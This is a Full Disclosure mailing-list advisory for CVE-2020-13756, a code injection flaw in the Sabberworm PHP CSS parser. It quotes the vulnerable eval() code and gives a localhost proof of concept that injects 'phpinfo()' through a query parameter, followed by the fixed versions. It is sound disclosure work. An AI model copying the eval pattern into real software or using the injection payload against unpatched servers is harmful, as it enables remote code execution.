Sabberworm PHP CSS parser - Code injection vulnerability

From: Eldar Marcussen <wireghoul () gmail com>
Date: Tue, 2 Jun 2020 09:00:20 +1000

Sabberworm PHP CSS parser - Code injection
==

Identifiers
----
* CVE-2020-13756

CVSSv3 score

8.6 - [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L](
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L&version=3.1
)

Vendor

Sabberworm - https://github.com/sabberworm/PHP-CSS-Parser

Product

A Parser for CSS Files written in PHP. Allows extraction of CSS files into a data structure, manipulation of said structure and output as (optimized) CSS.

Affected versions

- All versions prior to the fixed versions listed below

Credit

Eldar Marcussen - justanotherhacker.com

Vulnerability summary

The Sabberworm PHP CSS Parser evaluates uncontrolled data which may result in remote code execution if the affected function is called with attacker controlled data.

Technical details

The function `allSelectors` in `lib/Sabberworm/CSS/CSSList/CSSBlockList.php` on line `64` interpolates untrusted data inside an `eval()` operation on line `73`.
https://github.com/sabberworm/PHP-CSS-Parser/blob/master/lib/Sabberworm/CSS/CSSList/CSSBlockList.php#L73

The function `allSelectors` is called via the function `getSelectorsBySpecificity` in `lib/Sabberworm/CSS/CSSList/Document.php` which is the class object returned from the `parse()` function in `lib/Sabberworm/CSS/Parser.php`. If an attacker is able to supply or influence the content of the data passed to the `allSelectors` or `getSelectorsBySpecificity` functions, the server will execute attacker controlled code.

```php
protected function allSelectors(&$aResult, $sSpecificitySearch = null) {
    $aDeclarationBlocks = array();
    $this->allDeclarationBlocks($aDeclarationBlocks);
    foreach ($aDeclarationBlocks as $oBlock) {
        foreach ($oBlock->getSelectors() as $oSelector) {
            if ($sSpecificitySearch === null) {
                $aResult[] = $oSelector;
            } else {
                $sComparison = "\$bRes = {$oSelector->getSpecificity()}
$sSpecificitySearch;";
                eval($sComparison);
                if ($bRes) {
                    $aResult[] = $oSelector;
                }
            }
        }
    }
}
```

Proof of concept

The following evidence is provided to illustrate the existence and exploitation
of this vulnerability:

Save the following code as csspwn.php
```php
<?php
use Sabberworm\CSS\Parser;

$css="#test .help,\n#file,\n.help:hover,\nli.green,\nol li::before {\n
   font-family: Helvetica;\n}";

$oCssParser = new Sabberworm\CSS\Parser($css);
$oDoc = $oCssParser->parse();
$oDoc->getSelectorsBySpecificity('> '.$_GET['n']);
?>
```
Serve the page via `php -S 0:8888` then open the following URL:
http://localhost:8888/csspwn.php?n=100;phpinfo()

Solution

Upgrade to one of the following versions:
  1.0.1
  2.0.1
  3.0.1
  4.0.1
  5.0.9
  5.1.3
  5.2.1

```
  6.0.2
  7.0.4
  8.0.1
  8.1.1
  8.2.1
  8.3.1

Timeline
-------------------------------------------------
Date        | Status
------------|---------------------
01-JUN-2020 | Reported to vendor
01-JUN-2020 | Patch available
02-JUN-2020 | Public disclosure


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

- **Sabberworm PHP CSS parser - Code injection vulnerability** ***Eldar Marcussen (Jun 02)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License